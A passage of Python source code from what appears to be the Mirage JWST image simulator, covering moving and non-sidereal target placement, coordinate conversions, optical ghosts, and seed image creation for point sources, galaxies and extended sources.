None\n dec_frames = None\n else:\n # Here locations are in RA, Dec, and velocities are in RA, Dec\n ra_frames = entry['x_or_RA'] + delta_ra_frames\n dec_frames = entry['y_or_Dec'] + delta_dec_frames\n\n # Non-sidereal observation: in this case, if we are working with RA, Dec\n # values, the coordinate sytem flips such that the non-sidereal target\n # that is being tracked will stay at the same RA', Dec' for the duration\n # of the exposure, while background sources will have RA', Dec' values that\n # change frame-to-frame. If working in x, y pixel units, the same applies\n # with the background targets changing position with time\n if MT_tracking:\n self.logger.info(\"Updating source #{} location based on non-sidereal source motion.\".format(index))\n if delta_non_sidereal_ra is None:\n # Here the non-sidereal target's offsets are in units of pixels\n if ra_frames is not None:\n # Here the background target position is in units of RA, Dec.\n # So we need to first convert it to x, y\n\n x_frames, y_frames = self.radec_list_to_xy_list(ra_frames, dec_frames)\n ra_frames = None\n dec_frames = None\n\n # Now that the background source's positions are guaranteed to be in units\n # of x,y, add the non-sidereal offsets\n x_frames -= delta_non_sidereal_x\n y_frames -= delta_non_sidereal_y\n\n else:\n # Here the non-sidereal target's offsets are in units of RA, Dec\n if x_frames is not None:\n # Here the background target position is in units of x, y\n # so we need to first convert it to RA, Dec\n ra_frames, dec_frames = self.xy_list_to_radec_list(x_frames, y_frames)\n x_frames = None\n y_frames = None\n\n # Now that the background source's positions are guaranteed to be in\n # units of RA, Dec, add the non-sidereal offsets\n ra_frames -= delta_non_sidereal_ra\n dec_frames -= delta_non_sidereal_dec\n\n # Make sure that ra_frames and x_frames are both populated\n if x_frames is None:\n x_frames, y_frames = self.radec_list_to_xy_list(ra_frames, dec_frames)\n if ra_frames is None:\n ra_frames, dec_frames = self.xy_list_to_radec_list(x_frames, y_frames)\n\n # Use the initial location to determine the PSF to use\n pixelx = x_frames[1]\n pixely = y_frames[1]\n ra = ra_frames[1]\n dec = dec_frames[1]\n\n # Get countrate and PSF size info\n if entry[mag_column] is not None:\n rate = utils.magnitude_to_countrate(self.instrument, self.params['Readout']['filter'],\n magsys, entry[mag_column],\n photfnu=self.photfnu,\n photflam=self.photflam, vegamag_zeropoint=self.vegazeropoint)\n else:\n rate = 1.0\n\n psf_x_dim = self.find_psf_size(rate)\n psf_dimensions = (psf_x_dim, psf_x_dim)\n\n # If we have a point source, we can easily determine whether\n # it completely misses the detector, since we know the size\n # of the stamp already. For galaxies and extended sources,\n # we have to get the stamp image first to see if any part of\n # the stamp lands on the detector.\n status = 'on'\n if input_type == 'point_source':\n\n status = self.on_detector(x_frames, y_frames, psf_dimensions,\n (newdimsx, newdimsy))\n if status == 'off':\n continue\n\n # Create the PSF\n eval_psf, minx, miny, wings_added = self.create_psf_stamp(pixelx, pixely, psf_x_dim, psf_x_dim,\n ignore_detector=True)\n\n # Skip sources that fall completely off the detector\n if eval_psf is None:\n continue\n\n # If we want to keep track of ghosts associated with the input sources,\n # determine the ghosts' locations here. Note that ghost locations do not\n # move in the same magnitude/direction as the actual sources, so we need\n # to determine source locations from the real source's location in each\n # frame individually.\n if add_ghosts:\n ghost_x_frames, ghost_y_frames, ghost_mags, ghost_countrate, ghost_file = self.locate_ghost(x_frames, y_frames, rate,\n magsys, entry, input_type,\n log_skipped_filters=False)\n if ghost_file is not None:\n ghost_stamp, ghost_header = self.basic_get_image(ghost_file)\n\n # Normalize the ghost stamp image to match ghost_countrate\n ghost_stamp = ghost_stamp / np.sum(ghost_stamp) * ghost_countrate\n\n # Convolve with PSF if requested\n if self.params['simSignals']['PSFConvolveExtended']:\n # eval_psf should be close to 1.0, but not exactly. For the purposes\n # of convolution, we want the total signal to be exactly 1.0\n conv_psf = eval_psf / np.sum(eval_psf)\n ghost_stamp = s1.fftconvolve(ghost_stamp, conv_psf, mode='same')\n\n if input_type == 'point_source':\n stamp = eval_psf\n stamp *= rate\n\n elif input_type == 'extended':\n stamp, header = self.basic_get_image(entry['filename'])\n # Rotate the stamp image if requested, but don't do so if the specified pos angle is None\n stamp = self.rotate_extended_image(stamp, entry['pos_angle'])\n\n # If no magnitude is given, use the extended image as-is\n if rate != 1.0:\n stamp /= np.sum(stamp)\n stamp *= rate\n\n # Convolve with instrument PSF if requested\n if self.params['simSignals']['PSFConvolveExtended']:\n stamp_dims = stamp.shape\n # If the stamp image is smaller than the PSF in either\n # dimension, embed the stamp in an array that matches\n # the psf size. This is so the upcoming convolution will\n # produce an output that includes the wings of the PSF\n psf_shape = eval_psf.shape\n if ((stamp_dims[0] < psf_shape[0]) or (stamp_dims[1] < psf_shape[1])):\n stamp = self.enlarge_stamp(stamp, psf_shape)\n stamp_dims = stamp.shape\n\n # Convolve stamp with PSF\n stamp = s1.fftconvolve(stamp, eval_psf, mode='same')\n\n elif input_type == 'galaxies':\n xposang = self.calc_x_position_angle(entry)\n\n # First create the galaxy\n stamp = self.create_galaxy(entry['radius'], entry['ellipticity'], entry['sersic_index'],\n xposang*np.pi/180., rate, 0., 0.)\n\n # If the stamp image is smaller than the PSF in either\n # dimension, embed the stamp in an array that matches\n # the psf size. This is so the upcoming convolution will\n # produce an output that includes the wings of the PSF\n galdims = stamp.shape\n psf_shape = eval_psf.shape\n if ((galdims[0] < psf_shape[0]) or (galdims[1] < psf_shape[1])):\n stamp = self.enlarge_stamp(stamp, psf_shape)\n galdims = stamp.shape\n\n # Convolve the galaxy with the instrument PSF\n stamp = s1.fftconvolve(stamp, eval_psf, mode='same')\n\n # Now that we have stamp images for galaxies and extended\n # sources, check to see if they overlap the detector or not.\n # NOTE: this will only catch sources that never overlap the\n # detector for any of their positions.\n if input_type != 'point_source':\n status = self.on_detector(x_frames, y_frames, stamp.shape,\n (newdimsx, newdimsy))\n if status == 'off':\n continue\n\n # Each entry will have stamp image as array, ra_init, dec_init,\n # ra_velocity, dec_velocity, frametime, numframes, subsample_factor,\n # outputarrayxsize, outputarrayysize\n # (maybe without the values that will be the same to each entry.\n\n # Need to feed info into moving_targets one integration at a time.\n # No need to feed in the reset frames, but they are necessary\n # before this point in order to get the timing and positions\n # correct.\n for integ in range(numints):\n framestart = integ * frames_per_integration + integ\n frameend = framestart + frames_per_integration + 1\n\n # Now check to see if the stamp image overlaps the output\n # aperture for this integration only. Above we removed sources\n # that never overlap the aperture. Here we want to get rid\n # of sources that overlap the detector in some integrations,\n # but not this particular integration\n status = 'on'\n status = self.on_detector(x_frames[framestart:frameend],\n y_frames[framestart:frameend],\n stamp.shape, (newdimsx, newdimsy))\n if status == 'off':\n continue\n\n mt = moving_targets.MovingTarget()\n mt.subsampx = 3\n mt.subsampy = 3\n mt_source = mt.create(stamp, x_frames[framestart:frameend],\n y_frames[framestart:frameend],\n self.frametime, newdimsx, newdimsy)\n\n mt_integration[integ, :, :, :] += mt_source\n\n # Add object to segmentation map\n moving_segmap.add_object_threshold(mt_source[-1, :, :], 0, 0, index, self.segmentation_threshold)\n\n if add_ghosts and ghost_file is not None:\n # Check if the ghost lands on the detector\n ghost_status = self.on_detector(ghost_x_frames[framestart:frameend],\n ghost_y_frames[framestart:frameend],\n ghost_stamp.shape, (newdimsx, newdimsy))\n if ghost_status == 'off':\n continue\n\n mt = moving_targets.MovingTarget()\n mt.subsampx = 3\n mt.subsampy = 3\n mt_ghost_source = mt.create(ghost_stamp, ghost_x_frames[framestart:frameend],\n ghost_y_frames[framestart:frameend],\n self.frametime, newdimsx, newdimsy)\n\n mt_integration[integ, :, :, :] += mt_ghost_source\n\n # Add object to segmentation map\n moving_segmap.add_object_threshold(mt_ghost_source[-1, :, :], 0, 0, index, self.segmentation_threshold)\n\n # Check the elapsed time for creating each object\n elapsed_time = time.time() - start_time\n times.append(elapsed_time)\n if obj_counter > 3 and not time_reported:\n avg_time = np.mean(times)\n total_time = len(indexes) * avg_time\n self.logger.info((\"Expected time to process {} sources: {:.2f} seconds \"\n \"({:.2f} minutes)\".format(len(indexes), total_time, total_time/60)))\n time_reported = True\n obj_counter += 1\n return mt_integration, moving_segmap.segmap\n\n def radec_list_to_xy_list(self, ra_list, dec_list):\n \"\"\"Transform lists of RA, Dec positions to lists of detector x, y positions\n\n Parameters\n ----------\n ra_list : list\n List of RA values in decimal degrees\n\n dec_list : list\n List of Dec values in decimal degrees\n\n Returns\n -------\n x_list : numpy.ndarray\n 1D array of x pixel values\n\n y_list : numpy.ndarray\n 1D array of y pixel values\n \"\"\"\n x_list = []\n y_list = []\n for in_ra, in_dec in zip(ra_list, dec_list):\n # Calculate the x,y position at each frame\n x, y, ra, dec, ra_str, dec_str = self.get_positions(in_ra, in_dec, False, 4096)\n x_list.append(x)\n y_list.append(y)\n x_list = np.array(x_list)\n y_list = np.array(y_list)\n return x_list, y_list\n\n def xy_list_to_radec_list(self, x_list, y_list):\n \"\"\"Transform lists of x, y pixel positions to lists of RA, Dec positions\n\n Parameters\n ----------\n x_list : list\n List of x pixel values in decimal degrees\n\n y_list : list\n List of y pixel values in decimal degrees\n\n Returns\n -------\n ra_list : numpy.ndarray\n 1D array of RA values\n\n dec_list : numpy.ndarray\n 1D array of Dec values\n \"\"\"\n ra_list = []\n dec_list = []\n for in_x, in_y in zip(x_list, y_list):\n x, y, ra, dec, ra_str, dec_str = self.get_positions(in_x, in_y, True, 4096)\n ra_list.append(ra)\n dec_list.append(dec)\n ra_list = np.array(ra_list)\n dec_list = np.array(dec_list)\n return ra_list, dec_list\n\n def on_detector(self, xloc, yloc, stampdim, finaldim):\n \"\"\"Given a set of x, y locations, stamp image dimensions,\n and final image dimensions, determine whether the stamp\n image will overlap at all with the final image, or\n completely miss it.\n\n Parameters\n ---------\n\n xloc : list\n X-coordinate locations of source\n\n yloc : list\n Y-coordinate locations of source\n\n stampdim : tuple\n (x,y) dimension lengths of stamp image\n\n finaldim : tuple\n (x,y) dimension lengths of final image\n\n Returns\n -------\n\n status : str\n state of stamp image:\n \"on\" -- stamp image fully or partially overlaps the final\n image for at least one xloc, yloc pair\n \"off\" -- stamp image never overlaps with final image\n \"\"\"\n status = 'on'\n stampx, stampy = stampdim\n stampminx = np.min(xloc - (stampx / 2))\n stampminy = np.min(yloc - (stampy / 2))\n stampmaxx = np.max(xloc + (stampx / 2))\n stampmaxy = np.max(yloc + (stampy / 2))\n finalx, finaly = finaldim\n if ((stampminx > finalx) or (stampmaxx < 0) or\n (stampminy > finaly) or (stampmaxy < 0)):\n status = 'off'\n return status\n\n def get_positions(self, input_x, input_y, pixel_flag, max_source_distance):\n \"\"\" Given an input position ( (x,y) or (RA,Dec) ) for a source, calculate\n the corresponding detector (x,y), RA, Dec, and provide RA and Dec strings.\n\n Parameters\n ----------\n\n input_x : str\n Detector x coordinate or RA of source. RA can be in decimal degrees or\n (e.g 10:23:34.2 or 10h23m34.2s)\n\n input_y : str\n Detector y coordinate or Dec of source. Dec can be in decimal degrees\n or (e.g. 10d:23m:34.2s)\n\n pixel_flag : bool\n True if input_x and input_y are in units of pixels. False if they are\n in the RA, Dec coordinate system.\n\n max_source_distance : float\n Maximum number of pixels from the aperture's reference location to keep\n a source. Sources very far off the detector will cause the calculation of\n RA, Dec to hang.\n\n Returns\n -------\n\n pixelx : float\n Detector x coordinate of source\n\n pixely : float\n Detector y coordinate of source\n\n ra : float\n RA of source (degrees)\n\n dec : float\n Dec of source (degrees)\n\n ra_string : str\n String representation of RA\n\n dec_string : str\n String representation of Dec\n \"\"\"\n try:\n entry0 = float(input_x)\n entry1 = float(input_y)\n if not pixel_flag:\n ra_string, dec_string = self.makePos(entry0, entry1)\n ra_number = entry0\n dec_number = entry1\n except:\n # if inputs can't be converted to floats, then\n # assume we have RA/Dec strings. Convert to floats.\n ra_string = input_x\n dec_string = input_y\n ra_number, dec_number = utils.parse_RA_Dec(ra_string, dec_string)\n\n # Case where point source list entries are given with RA and Dec\n if not pixel_flag:\n\n # If distortion is to be included - either with or without the full set of coordinate\n # translation coefficients\n pixel_x, pixel_y = self.RADecToXY_astrometric(ra_number, dec_number)\n\n else:\n # Case where the point source list entry locations are given in units of pixels\n # In this case we have the source position, and RA/Dec are calculated only so\n # they can be written out into the output source list file.\n pixel_x = entry0\n pixel_y = entry1\n ra_number, dec_number, ra_string, dec_string = self.XYToRADec(pixel_x, pixel_y)\n\n return pixel_x, pixel_y, ra_number, dec_number, ra_string, dec_string\n\n def nonsidereal_CRImage(self, file):\n \"\"\"\n Create countrate image of non-sidereal sources\n that are being tracked.\n\n Arguments:\n ----------\n file : str\n name of the file containing the tracked moving targets.\n\n Returns:\n --------\n totalCRImage : numpy.ndarray\n Countrate image containing the tracked non-sidereal targets.\n\n totalSegmap : numpy.ndarray\n Segmentation map of the non-sidereal targets\n\n track_ra_vel : float\n The RA velocity of the source. Set to None if\n an ephemeris file is used to get the target's locations\n\n track_dec_vel : float\n The Dec velocity of the source. Set to None if\n an ephemeris file is used to get the target's locations\n\n velFlag : str\n If 'velocity_pixels', then ```track_ra_vel``` and\n ```track_dec_vel``` are assumed to be in units of\n pixels per hour. Otherwise units are assumed to be\n arcsec per hour.\n\n ra_interpol_function : scipy.interpolate.interp1d\n If an ephemeris file is present in the source catalog, this\n is a function giving the RA of the target versus calendar\n timestamp. Otherwise set to None.\n\n dec_interpol_function : scipy.interpolate.interp1d\n If an ephemeris file is present in the source catalog, this\n is a function giving the Dec of the target versus calendar\n timestamp. Otherwise set to None.\n\n \"\"\"\n totalCRList = []\n totalSegList = []\n\n # Read in file containing targets\n targs, pixFlag, velFlag, magsys = file_io.readMTFile(file)\n\n # We can only track one moving target at a time\n if len(targs) != 1:\n raise ValueError((\"Catalog of non-sidereal sources to track in {} contains \"\n \"{} sources. This catalog should contain a single source.\"\n .format(file, len(targs))))\n\n # If the ephemeris column is there but unpopulated, remove it\n if 'ephemeris_file' in targs.colnames:\n if targs['ephemeris_file'][0].lower() == 'none':\n targs.remove_column('ephemeris_file')\n\n # If an ephemeris file is given, update the RA, Dec based\n # on the ephemeris. (i.e. the input RA, Dec values will be ignored)\n if 'ephemeris_file' in targs.colnames:\n self.logger.info((\"Setting non-sidereal source intial RA, Dec based on ephemeris \"\n \"file: {} and observation date/time.\".format(file)))\n targs, ra_interpol_function, dec_interpol_function = self.ephemeris_radec_value_at_obstime(targs)\n track_ra_vel = None\n track_dec_vel = None\n else:\n # We need to keep track of the proper motion of the\n # target being tracked, because all other objects in\n # the field of view will be moving at the same rate\n # in the opposite direction. Start by using the values\n # from the catalog. If an ephemeris file is present,\n # these will be changed in favor of the RA and Dec\n # interpolation functions\n track_ra_vel = targs[0]['x_or_RA_velocity']\n track_dec_vel = targs[0]['y_or_Dec_velocity']\n ra_interpol_function = None\n dec_interpol_function = None\n\n # Sort the targets by whether they are point sources,\n # galaxies, extended\n ptsrc_rows = []\n galaxy_rows = []\n extended_rows = []\n for i, line in enumerate(targs):\n if 'point' in line['object'].lower():\n ptsrc_rows.append(i)\n elif 'sersic' in line['object'].lower():\n galaxy_rows.append(i)\n else:\n extended_rows.append(i)\n\n # Re-use functions for the sidereal tracking situation\n if len(ptsrc_rows) > 0:\n ptsrc = targs[ptsrc_rows]\n if pixFlag:\n meta0 = 'position_pixels'\n else:\n meta0 = ''\n if velFlag:\n meta1 = 'velocity_pixels'\n else:\n meta1 = ''\n meta2 = magsys\n\n meta3 = ('Point sources with non-sidereal tracking. '\n 'File produced by catalog_seed_image.py')\n meta4 = ('from run using non-sidereal moving target '\n 'list {}.'.format(self.params['simSignals']['movingTargetToTrack']))\n ptsrc.meta['comments'] = [meta0, meta1, meta2, meta3, meta4]\n temp_ptsrc_filename = os.path.join(self.params['Output']['directory'],\n 'temp_non_sidereal_point_sources.list')\n self.logger.info((\"Catalog with non-sidereal source transformed to point source catalog for the \"\n \"purposes of placing the source at the requested location. New catalog saved to: \"\n \"{}\".format(temp_ptsrc_filename)))\n ptsrc.write(temp_ptsrc_filename, format='ascii', overwrite=True)\n\n ptsrc_list, ps_ghosts_file = self.get_point_source_list(temp_ptsrc_filename)\n ptsrcCRImage, ptsrcCRSegmap = self.make_point_source_image(ptsrc_list)\n totalCRList.append(ptsrcCRImage)\n totalSegList.append(ptsrcCRSegmap.segmap)\n\n # If ghost sources are present, then create a count rate image using\n # that extended image and add it to the list\n if ps_ghosts_file is not None:\n self.logger.info('Adding optical ghost from non-sidereal point source.')\n ps_ghosts_cat, ps_ghosts_stamps, _ = self.getExtendedSourceList(ps_ghosts_file, ghost_search=False)\n ps_ghosts_convolve = [self.params['simSignals']['PSFConvolveGhosts']] * len(ps_ghosts_cat)\n ghost_cr_image, ghost_segmap = self.make_extended_source_image(ps_ghosts_cat, ps_ghosts_stamps, ps_ghosts_convolve)\n totalCRList.append(ghost_cr_image)\n totalSegList.append(ghost_segmap)\n\n\n if len(galaxy_rows) > 0:\n galaxies = targs[galaxy_rows]\n if pixFlag:\n meta0 = 'position_pixels'\n else:\n meta0 = ''\n if velFlag:\n meta1 = 'velocity_pixels'\n else:\n meta1 = ''\n meta2 = magsys\n meta3 = ('Galaxies (2d sersic profiles) with non-sidereal '\n 'tracking. File produced by ramp_simulator.py')\n meta4 = ('from run using non-sidereal moving target '\n 'list {}.'.format(self.params['simSignals']['movingTargetToTrack']))\n galaxies.meta['comments'] = [meta0, meta1, meta2, meta3, meta4]\n temp_gal_filename = os.path.join(self.params['Output']['directory'], 'temp_non_sidereal_sersic_sources.list')\n self.logger.info((\"Catalog with non-sidereal source transformed to galaxy catalog for the \"\n \"purposes of placing the source at the requested location. New catalog saved to: \"\n \"{}\".format(temp_gal_filename)))\n galaxies.write(temp_gal_filename, format='ascii', overwrite=True)\n\n galaxyCRImage, galaxySegmap, gal_ghosts_file = self.make_galaxy_image(temp_gal_filename)\n totalCRList.append(galaxyCRImage)\n totalSegList.append(galaxySegmap)\n\n # If ghost sources are present, then create a count rate image using\n # that extended image and add it to the list\n if gal_ghosts_file is not None:\n self.logger.info('Adding optical ghost from non-sidereal galaxy source.')\n gal_ghosts_cat, gal_ghosts_stamps, _ = self.getExtendedSourceList(gal_ghosts_file, ghost_search=False)\n gal_ghosts_convolve = [self.params['simSignals']['PSFConvolveGhosts']] * len(gal_ghosts_cat)\n ghost_cr_image, ghost_segmap = self.make_extended_source_image(gal_ghosts_cat, gal_ghosts_stamps, gal_ghosts_convolve)\n totalCRList.append(ghost_cr_image)\n totalSegList.append(ghost_segmap)\n\n if len(extended_rows) > 0:\n extended = targs[extended_rows]\n\n if pixFlag:\n meta0 = 'position_pixels'\n else:\n meta0 = ''\n if velFlag:\n meta1 = 'velocity_pixels'\n else:\n meta1 = ''\n meta2 = magsys\n meta3 = 'Extended sources with non-sidereal tracking. File produced by ramp_simulator.py'\n meta4 = 'from run using non-sidereal moving target list {}.'.format(self.params['simSignals']['movingTargetToTrack'])\n extended.meta['comments'] = [meta0, meta1, meta2, meta3, meta4]\n temp_ext_filename = os.path.join(self.params['Output']['directory'],\n 'temp_non_sidereal_extended_sources.list')\n self.logger.info((\"Catalog with non-sidereal source transformed to extended source catalog for the \"\n \"purposes of placing the source at the requested location. New catalog saved to: \"\n \"{}\".format(temp_ext_filename)))\n extended.write(temp_ext_filename, format='ascii', overwrite=True)\n\n extlist, extstamps, ext_ghosts_file = self.getExtendedSourceList(temp_ext_filename, ghost_search=True)\n if len(extlist) > 0:\n conv = [self.params['simSignals']['PSFConvolveExtended']] * len(extlist)\n extCRImage, extSegmap = self.make_extended_source_image(extlist, extstamps, conv)\n else:\n yd, xd = self.output_dims\n #extCRImage = np.zeros((self.params['Readout']['nint'], self.frames_per_integration, yd, xd))\n extCRImage = np.zeros((yd, xd))\n extSegmap = np.zeros((yd, xd)).astype(np.int64)\n\n totalCRList.append(extCRImage)\n totalSegList.append(extSegmap)\n\n # If ghost sources are present, then create a count rate image using\n # that extended image and add it to the list\n if ext_ghosts_file is not None:\n self.logger.info('Adding optical ghost from non-sidereal extended source.')\n ext_ghosts_cat, ext_ghosts_stamps, _ = self.getExtendedSourceList(ext_ghosts_file, ghost_search=False)\n ext_ghosts_convolve = [self.params['simSignals']['PSFConvolveGhosts']] * len(ext_ghosts_cat)\n ghost_cr_image, ghost_segmap = self.make_extended_source_image(ext_ghosts_cat, ext_ghosts_stamps, ext_ghosts_convolve)\n totalCRList.append(ghost_cr_image)\n totalSegList.append(ghost_segmap)\n\n # Now combine into a final countrate image of non-sidereal sources (that are being tracked)\n if len(totalCRList) > 0:\n totalCRImage = totalCRList[0]\n totalSegmap = totalSegList[0]\n if len(totalCRList) > 1:\n for i in range(1, len(totalCRList)):\n totalCRImage += totalCRList[i]\n totalSegmap += totalSegList[i] + i\n else:\n raise ValueError((\"No non-sidereal countrate targets produced.\"\n \"You shouldn't be here.\"))\n return totalCRImage, totalSegmap, track_ra_vel, track_dec_vel, velFlag, ra_interpol_function, dec_interpol_function\n\n def ephemeris_radec_value_at_obstime(self, src_catalog):\n \"\"\"Calculate the RA, Dec of the target at the observation time\n from the yaml file\n\n Parameters\n ----------\n src_catalog : astropy.table.Table\n Source catalog table or row\n\n Returns\n -------\n src_catalog : astropy.table.Table\n Modified source catalog table or row with RA, Dec values\n corresponding to the observation date\n\n ra_eph : scipy.interpolate.interp1d\n Interpolation function of source's RA (in degrees) versus\n calendar timestamp\n\n dec_eph : scipy.interpolate.interp1d\n Interpolation function of source's Dec (in degrees) versus\n calendar timestamp\n \"\"\"\n # In this block we now assume a single target in the catalog\n # (or that ```src_catalog``` is a single row)\n ob_time = '{}T{}'.format(self.params['Output']['date_obs'], self.params['Output']['time_obs'])\n\n # Allow time_obs to have an integer or fractional number of seconds\n try:\n start_date = [ephemeris_tools.to_timestamp(datetime.datetime.strptime(ob_time, '%Y-%m-%dT%H:%M:%S'))]\n except ValueError:\n start_date = [ephemeris_tools.to_timestamp(datetime.datetime.strptime(ob_time, '%Y-%m-%dT%H:%M:%S.%f'))]\n\n self.logger.info(('Calculating target RA, Dec at the observation time using ephemeris file: {}'\n .format(src_catalog['ephemeris_file'][0])))\n ra_eph, dec_eph = ephemeris_tools.get_ephemeris(src_catalog['ephemeris_file'][0])\n\n # If the input x_or_RA and y_or_Dec columns have values of 'none', then\n # populating them with the values calculated here results in truncated\n # values being used. So let's remove the old columns and re-add them\n src_catalog.remove_column('x_or_RA')\n src_catalog.remove_column('y_or_Dec')\n src_catalog.add_column(ra_eph(start_date), name='x_or_RA', index=1)\n src_catalog.add_column(dec_eph(start_date), name='y_or_Dec', index=2)\n return src_catalog, ra_eph, dec_eph\n\n def create_sidereal_image(self):\n # Generate a signal rate image from input sources\n if (self.params['Output']['grism_source_image'] == False) and (not self.params['Inst']['mode'] in [\"pom\", \"wfss\"]):\n signalimage = np.zeros(self.nominal_dims)\n segmentation_map = np.zeros(self.nominal_dims)\n else:\n signalimage = np.zeros(self.output_dims, dtype=np.float)\n segmentation_map = np.zeros(self.output_dims)\n\n\n instrument_name = self.params['Inst']['instrument'].lower()\n # yd, xd = signalimage.shape\n arrayshape = signalimage.shape\n\n # POINT SOURCES\n # Read in the list of point sources to add\n # Adjust point source locations using astrometric distortion\n # Translate magnitudes to counts in a single frame\n if self.runStep['pointsource'] is True:\n if not self.expand_catalog_for_segments:\n\n # CHECK IN INPUT PSF FILE IF THERE'S A BORESIGHT OFFSET TO BE APPLIED:\n offset_vector = None\n infile = glob.glob(os.path.join(self.params['simSignals']['psfpath'], \"{}_{}_{}*.fits\".format(self.params['Inst']['instrument'].lower(), self.detector.lower(), self.psf_filter.lower())))\n if len(infile) > 0:\n header = fits.getheader(infile[0])\n if ('BSOFF_V2' in header) and ('BSOFF_V3' in header):\n offset_vector = header['BSOFF_V2']*60., header['BSOFF_V3']*60. #convert to arcseconds\n else:\n self.logger.info(\"No PSF library matching '{}_{}_{}.fits'; ignoring boresight offset (if any)\".format(self.params['Inst']['instrument'].lower(), self.detector.lower(), self.psf_filter.lower()))\n\n # Translate the point source list into an image\n self.logger.info('Creating point source lists')\n pslist, ps_ghosts_cat = self.get_point_source_list(self.params['simSignals']['pointsource'],\n segment_offset=offset_vector)\n\n psfimage, ptsrc_segmap = self.make_point_source_image(pslist)\n\n # If ghost sources are present, then make sure Mirage will retrieve\n # sources from an extended source catalog\n if ps_ghosts_cat is not None:\n self.runStep['extendedsource'] = True\n # Currently self.ghosts_catalogs is only used later for WFSS observations\n self.ghost_catalogs.append(ps_ghosts_cat)\n\n elif self.expand_catalog_for_segments:\n # Expand the point source list for each mirror segment, and add together\n # the 18 point source images that used different PSFs.\n self.logger.info('Expanding the source catalog for 18 mirror segments')\n\n # Create empty image and segmentation map\n ptsrc_segmap = segmap.SegMap()\n ptsrc_segmap.ydim, ptsrc_segmap.xdim = self.output_dims\n ptsrc_segmap.initialize_map()\n psfimage = np.zeros(self.output_dims)\n\n library_list = get_segment_library_list(\n self.params['Inst']['instrument'].lower(), self.detector, self.psf_filter,\n self.params['simSignals']['psfpath'], pupil=self.psf_pupil\n )\n for i_segment in np.arange(1, 19):\n self.logger.info('\\nCalculating point source lists for segment {}'.format(i_segment))\n # Get the RA/Dec offset that matches the given segment\n offset_vector = get_segment_offset(i_segment, self.detector, library_list)\n\n # need to add a new offset option to get_point_source_list:\n pslist, _ = self.get_point_source_list(self.params['simSignals']['pointsource'],\n segment_offset=offset_vector)\n\n # Create a point source image, using the specific point\n # source list and PSF for the given segment\n seg_psfimage, ptsrc_segmap = self.make_point_source_image(pslist, segment_number=i_segment,\n ptsrc_segmap=ptsrc_segmap)\n\n if self.params['Output']['save_intermediates'] is True:\n seg_psfImageName = self.basename + '_pointSourceRateImage_seg{:02d}.fits'.format(i_segment)\n h0 = fits.PrimaryHDU(seg_psfimage)\n h0.writeto(seg_psfImageName, overwrite=True)\n self.logger.info(\" Segment {} point source image and segmap saved as {}\".format(i_segment,\n seg_psfImageName))\n\n psfimage += seg_psfimage\n\n ptsrc_segmap = ptsrc_segmap.segmap\n\n # Add the point source image to the overall image\n signalimage = signalimage + psfimage\n segmentation_map += ptsrc_segmap\n\n # To avoid problems with overlapping sources between source\n # types in observations to be dispersed, make the point\n # source-only segmentation map available as a class variable\n self.point_source_seed = psfimage\n self.point_source_seg_map = ptsrc_segmap\n\n # For seed images to be dispersed in WFSS mode,\n # embed the seed image in a full frame array. The disperser\n # tool does not work on subarrays\n aperture_suffix = self.params['Readout']['array_name'].split('_')[-1]\n\n # Save the point source seed image\n if instrument_name != 'fgs':\n self.ptsrc_seed_filename = '{}_{}_{}_ptsrc_seed_image.fits'.format(self.basename, self.params['Readout']['filter'],\n self.params['Readout']['pupil'])\n else:\n self.ptsrc_seed_filename = '{}_ptsrc_seed_image.fits'.format(self.basename)\n self.saveSeedImage(self.point_source_seed, self.point_source_seg_map, self.ptsrc_seed_filename)\n self.logger.info(\"Point source image and segmap saved as {}\".format(self.ptsrc_seed_filename))\n\n else:\n self.point_source_seed = None\n self.point_source_seg_map = None\n self.ptsrc_seed_filename = None\n ps_ghosts_cat = None\n\n # Simulated galaxies\n # Read in the list of galaxy positions/magnitudes to simulate\n # and create a countrate image of those galaxies.\n if self.runStep['galaxies'] is True:\n galaxyCRImage, galaxy_segmap, gal_ghosts_cat = self.make_galaxy_image(self.params['simSignals']['galaxyListFile'])\n\n # If ghost sources are present, then make sure Mirage will retrieve\n # sources from an extended source catalog\n if gal_ghosts_cat is not None:\n self.runStep['extendedsource'] = True\n # Currently self.ghosts_catalogs is only used later for WFSS observations\n self.ghost_catalogs.append(gal_ghosts_cat)\n\n # To avoid problems with overlapping sources between source\n # types in observations to be dispersed, make the galaxy-\n # only segmentation map available as a class variable\n self.galaxy_source_seed = galaxyCRImage\n self.galaxy_source_seg_map = galaxy_segmap\n\n # For seed images to be dispersed in WFSS mode,\n # embed the seed image in a full frame array. The disperser\n # tool does not work on subarrays\n aperture_suffix = self.params['Readout']['array_name'].split('_')[-1]\n\n # Save the galaxy source seed image\n if instrument_name != 'fgs':\n self.galaxy_seed_filename = '{}_{}_{}_galaxy_seed_image.fits'.format(self.basename, self.params['Readout']['filter'],\n self.params['Readout']['pupil'])\n else:\n self.galaxy_seed_filename = '{}_galaxy_seed_image.fits'.format(self.basename)\n self.saveSeedImage(self.galaxy_source_seed, self.galaxy_source_seg_map, self.galaxy_seed_filename)\n self.logger.info(\"Simulated galaxy image and segmap saved as {}\".format(self.galaxy_seed_filename))\n\n # Add galaxy segmentation map to the master copy\n segmentation_map = self.add_segmentation_maps(segmentation_map, galaxy_segmap)\n\n # add the galaxy image to the signalimage\n signalimage = signalimage + galaxyCRImage\n\n else:\n self.galaxy_source_seed = None\n self.galaxy_source_seg_map = None\n self.galaxy_seed_filename = None\n gal_ghosts_cat = None\n\n # read in extended signal image and add the image to the overall image\n if self.runStep['extendedsource'] is True:\n # Extended sources from user-provided catalog\n if self.params['simSignals']['extended'] != 'None':\n extended_list, extended_stamps, ext_ghosts_cat = self.getExtendedSourceList(self.params['simSignals']['extended'])\n extended_convolve = [self.params['simSignals']['PSFConvolveExtended']] * len(extended_list)\n else:\n extended_list = None\n extended_stamps = None\n ext_ghosts_cat = None\n extended_convolve = None\n\n # Currently self.ghosts_catalogs is only used later for WFSS observations\n if ext_ghosts_cat is not None:\n self.ghost_catalogs.append(ext_ghosts_cat)\n\n # Ghosts associated with point source catalog\n # Don't search for ghosts from ghosts\n if ps_ghosts_cat is not None:\n self.logger.info('Reading in optical ghost list from sidereal point source catalog.')\n extlist_from_ps_ghosts, extstamps_from_ps_ghosts, _ = self.getExtendedSourceList(ps_ghosts_cat, ghost_search=False)\n ps_ghosts_convolve = [self.params['simSignals']['PSFConvolveGhosts']] * len(extlist_from_ps_ghosts)\n else:\n extlist_from_ps_ghosts = None\n extstamps_from_ps_ghosts = None\n ps_ghosts_convolve = None\n\n # Ghosts associated with galaxy catalog\n # Don't search for ghosts from ghosts\n if gal_ghosts_cat is not None:\n self.logger.info('Reading in optical ghost list from sidereal galaxy source catalog.')\n 